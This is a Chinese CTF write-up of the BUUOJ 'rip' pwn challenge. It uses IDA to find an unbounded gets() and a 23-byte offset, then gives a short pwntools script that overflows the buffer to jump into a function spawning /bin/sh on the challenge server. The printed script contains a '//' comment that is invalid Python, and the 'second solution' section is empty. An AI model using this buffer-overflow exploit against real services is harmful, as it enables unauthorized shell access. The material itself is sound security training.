第二题——rip

题目地址:https://buuoj.cn/challenges

解题思路

第一步:下载题目给出的pwn1文件

在这里插入图片描述

第二步:使用IDA打开pwn1文件

  1. 查看main函数发现gets函数对于输入没有限制
    在这里插入图片描述
  2. 汇编不好看可以按下f5查看伪代码
    在这里插入图片描述
  3. 在fun函数看到了/bin/sh命令
    在这里插入图片描述

第三步:获取flag

  1. 思路:由于gets函数没有限制输入,可以利用缓冲区溢出,将缓冲区填满后跳转到fun函数处,获取shell,以达到获取flag的目的
  2. 由于gets函数将获取到的值赋值给s,双击查看s定义了多少空间
    在这里插入图片描述
    在这里插入图片描述
    1-f占了15位,db 8 dup (?)占了8位,所以s一共15+8=23位
  3. 查看fun函数的开始地址为:0x401186
    在这里插入图片描述
  4. 编写exp
exp编写步骤:
from pwn import * #引入pwn库
p = remote(ip, port) # 输入对应的ip地址和端口号来连接其他主机的服务
... # 输入payload来进行操作以拿到程序的shell payload一般等于 偏移量 + 地址
p.interactive() # 反弹shell
结果:保存为1.py
from pwn import *
p = remote('node3.buuoj.cn', 29021)
payload = b'a' * 23 + p64(0x401186 + 1)//+1为了保证堆栈平衡
p.sendline(payload)
p.interactive()
  1. 使用python3 1.py执行1.py,输入cat flag获取到flag
    在这里插入图片描述

获取flag解法二:

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值